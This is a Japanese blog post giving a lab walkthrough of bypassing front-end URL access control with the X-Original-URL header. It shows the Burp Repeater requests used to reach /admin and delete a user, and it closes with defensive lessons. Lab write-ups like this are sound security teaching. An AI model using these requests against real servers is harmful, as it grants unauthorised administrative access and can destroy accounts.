以下の内容はhttps://cysec148.hatenablog.com/entry/2025/08/10/180205より取得しました。


LAB: X-Original-URL ヘッダーを使ったURLベースアクセス制御の回避

Hello there, ('ω')ノ

🎯 ラボのゴール

  • /admin へのアクセスはフロントエンドでブロックされる
  • バックエンドは X-Original-URL ヘッダーを使ってリクエスト先を解釈する
  • これを利用して /admin へアクセスし、carlos を削除する

手順

Step 1: /admin に直接アクセスしてブロック確認

  1. ブラウザで次のURLを開く:
   https://[ラボドメイン]/admin
  1. 「アクセス禁止」や非常にシンプルなエラーページが表示されるはずです → これはフロントエンドシステムの制限

Step 2: Burp Repeater で X-Original-URL の挙動を確認

  1. /admin へのリクエストをBurpでキャプチャしRepeaterへ送る
  2. リクエストラインを / に変更
   GET / HTTP/1.1
  1. ヘッダーに追加:
   X-Original-URL: /invalid
  1. 実行すると「Not Found」が返ってくる → バックエンドが X-Original-URL を見ている証拠

Step 3: 管理者パネルにアクセス

  1. ヘッダーを以下に変更:
   X-Original-URL: /admin
  1. 実行すると /admin ページの内容が表示される

Step 4: carlos を削除

  1. 削除用のパスに切り替える:
   X-Original-URL: /admin/delete
  1. リクエストURLのクエリ文字列としてユーザー名を追加:
   GET /?username=carlos HTTP/1.1
   X-Original-URL: /admin/delete
  1. 実行すると carlos が削除され、ラボクリア

✅ 学べるポイント

  • フロントエンドのアクセス制御は容易に回避できる
  • バックエンドが X-Original-URLX-Rewrite-URL を受け入れていると危険
  • URLベースの制御は必ずサーバー側で厳密に行うべき

Best regards, (^^ゞ




以上の内容はhttps://cysec148.hatenablog.com/entry/2025/08/10/180205より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14